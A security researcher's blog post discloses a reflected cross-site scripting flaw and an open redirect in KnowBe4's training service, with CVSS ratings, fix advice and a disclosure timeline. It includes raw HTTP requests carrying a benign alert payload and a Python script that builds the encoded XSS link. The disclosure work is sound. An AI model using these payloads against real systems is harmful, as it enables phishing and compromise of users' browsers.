KnowBe4 Vulnerabilities – XSS and Open Redirect

My next disclosure is some KnowBe4 vulnerabilities that I found recently.

KnowBe4 Vulnerabilities - Introduction

During some training at Avalara, I found a few vulns in the KnowBe4 Security Awareness Training

While there are no public disclosures yet, I tested these as fixed or mitigated.

As these were vulnerabilities in an online service, they were not eligible for a CVE ID.

Finally, this post will follow the same format as my last disclosure.

Improper Neutralization of Input During Web Page Generation ("Cross-Site Scripting")

Detailed Information

A reflected Cross-Site Scripting (XSS) vulnerability in the KnowBe4 Security Awareness Training application allows an attacker to execute remote JavaScript in a victim’s browser via a specially crafted GET request.

The following screenshot shows a benign payload alerting the document.domain to a user.

KnowBe4 Vulnerabilities - Alert document.domain

The following raw HTTP request and response demonstrate the location of this crafted payload.

Raw Request

GET /XYWNj0aW9uPWbNsaWNrJnzVybD1qirYXZhrc2NyaXB0kOmrFsZXJ0KGRvY3VtZW50aLmRvbWFpbiArIFN0cmluZyg=%2f)) HTTP/1.1
Host: 34.75.2o2.lol
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Raw Response

HTTP/1.1 200 OK
Date: Mon, 14 Oct 2019 17:06:12 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Referrer-Policy: no-referrer-when-downgrade
X-Frame-Options: SAMEORIGIN
ETag: W/"aa906e87281f884cf031647097ca98af"
Cache-Control: max-age=0, private, must-revalidate
Content-Security-Policy: 
X-Request-Id: f23c1c4e-9eee-4e79-91a2-bf21290a3616
X-Runtime: 0.005917
Content-Length: 271

<html>
    <head>
        <script>
            window.location.href = 'javascript:alert(document.domain + String(/XYWNj0aW9uPWbNsaWNrJnzVybD1qirYXZhrc2NyaXB0kOmrFsZXJ0KGRvY3VtZW50aLmRvbWFpbiArIFN0cmluZyg=/))';
        </script>
    </head>
    <body>
    </body>
</html>

You can use the Python script at the bottom to easily encode payloads for this vulnerability. Note that the additional base64 characters in the payload are from the KnowBe4 decoding code and are required to keep the attack functional.

Affected URLs and Parameters / Limiting Factors

The URL path of the phishing demonstration page is the vulnerable injection point.

Due to the complexity of the URL path, the only limiting factor is being able to generate a working malicious link.

Recommendations

All user input should be properly sanitized and output properly encoded. Ideally the application should have a whitelist of all allowed values for user input.

KnowBe4 Vulnerabilities - Severity

Severity: Medium

CVSSv3

6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

Damage

An attacker can use this vulnerability to compromise the confidentiality of the KnowBe4 SAT application and/or lead to exploitation of the victim’s browser and system.

Reproducibility

This attack is easily reproducible against the demonstration URL but may require some manual modification to different URL lengths/sinks.

Exploitability

While this attack requires some analysis of the URL path, an attacker can easily automate it.

URL Redirect to Untrusted Site ("Open Redirect")

Detailed Information

The KnowBe4 SAT application contains a redirect function that does not validate the destination URL before redirecting.

The following raw HTTP request and response demonstrate this attack in action with a redirect to an attacker-controlled site.

Raw Request

GET /XYWNj0aW9uPWbNsaWNrJnzVybD1oirdHRwrczovL3I0keSr5wdy8wMTIzNDU2Nzg5adGVzdGluZ3B3bmVkcGFkZGluZ2NoYXJhY3RlcnMwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU HTTP/1.1
Host: 34.75.2o2.lol
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Raw Response

HTTP/1.1 200 OK
Date: Mon, 14 Oct 2019 14:32:53 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Referrer-Policy: no-referrer-when-downgrade
X-Frame-Options: SAMEORIGIN
ETag: W/"c1fae82ec184376a63b1edbdd3048404"
Cache-Control: max-age=0, private, must-revalidate
Content-Security-Policy: 
X-Request-Id: 25f4db2b-013f-4908-ac1d-d0c0385d3be8
X-Runtime: 0.007838
Content-Length: 379

<html>
    <head>
        <script>
            window.location.href = 'https://r4y.pw/0123456789testingpwnedpaddingcharacters012345678901234567890123456789012345/XYWNj0aW9uPWbNsaWNrJnzVybD1oirdHRwrczovL3I0keSr5wdy8wMTIzNDU2Nzg5adGVzdGluZ3B3bmVkcGFkZGluZ2NoYXJhY3RlcnMwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU';
        </script>
    </head>
    <body>
    </body>
</html>

Note that while the above example uses a URL of the same length as the original training page, you could shorten this with further analysis.

Affected URLs and Parameters / Limiting Factors

The URL path of the phishing demonstration page is the vulnerable injection point.

Due to the complexity of the URL path, the only limiting factor is being able to generate a working malicious link.

Recommendations

Any values passed to the redirect parameter should be validated as either acceptable values, or internal to the calling application

KnowBe4 Vulnerabilities - Severity

Severity: Medium

CVSSv3

6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

Damage

An attacker can use this vulnerability to compromise the user’s system further via a phishing attack, or even the compromise of user systems with malware.

Reproducibility

This attack is easily reproducible against the demonstration URL but may require some manual modification to different URL lengths/sinks.

Exploitability

While this attack requires some analysis of the URL path, an attacker can easily automate it.

KnowBe4 Vulnerabilities - Supplementary Information

The following script generates an example XSS URL.

import base64

phishingLoc = "http://34.75.2o2.lol/"

# original = https://secured-login.net
baseURL = "javascript:alert(document"

# original = /pages/db968153c04&recipient_id=51xxxxxxx&campaign_run_id=2xxxxxx
#trailingURL = "testingpwnedpaddingcharacters012345678901234567890123456789012345"
trailingURL = ".domain + String(/"

prefix = "action=click&url="

def insertChar(mystring, position, chartoinsert ):
    longi = len(mystring)
    mystring   =  mystring[:position] + chartoinsert + mystring[position:] 
    return mystring  

toEncode = prefix + baseURL

encoded = base64.b64encode(toEncode)

# delete the X (0), delete the j (4), delete the b (12), delete the z (21), delete the i (27), delete the r (28), delete the r (33), delete the k (42), delete the r (45), delete the a at the end
# Note that the specific characters (except the initial "X") seem to be irrelevant, as they can be replaced with a "0"

inserted = ""

inserted = insertChar(encoded, 0, "X")
#inserted = insertChar(inserted, 4, "j")
inserted = insertChar(inserted, 4, "0")
#inserted = insertChar(inserted, 12, "b")
inserted = insertChar(inserted, 12, "0")
#inserted = insertChar(inserted, 21, "z")
inserted = insertChar(inserted, 21, "0")
#inserted = insertChar(inserted, 28, "i")
#inserted = insertChar(inserted, 29, "r")
inserted = insertChar(inserted, 28, "0")
inserted = insertChar(inserted, 29, "0")
#inserted = insertChar(inserted, 34, "r")
inserted = insertChar(inserted, 34, "0")
#inserted = insertChar(inserted, 43, "k")
inserted = insertChar(inserted, 43, "0")
#inserted = insertChar(inserted, 46, "r")
inserted = insertChar(inserted, 46, "0")

inserted += "a"

finalURL = inserted + base64.b64encode(trailingURL)

# https://stackoverflow.com/questions/8981009/can-you-create-a-javascript-string-without-using-or-quotes
print phishingLoc + finalURL + "%2f))"  # only require the %2f)) for the XSS attack

KnowBe4 Vulnerabilities - Disclosure Timeline

10/29/2019 - Initial attempt to contact vendor.
10/29/2019 - Initial disclosure to vendor.
10/30/2019 - Vendor acknowledgement
10/30/2019 - CVEs requested.
11/2/2019 - Findings deemed ineligible for CVE IDs.
1/10/2020 - Vendor communication regarding patches and mitigation
1/18/2020 - Blog post published.

KnowBe4 Vulnerabilities - Conclusion

While this was my disclosure, I still handled it through an official channel.

KnowBe4 was great to work with, and they were quick with responses and fixes.

This will still be the place for any disclosures that I make.

I have some findings still in an ongoing process with Secureworks, but hoping to post them soon.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Common passed on this blog, I made it to a jam.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.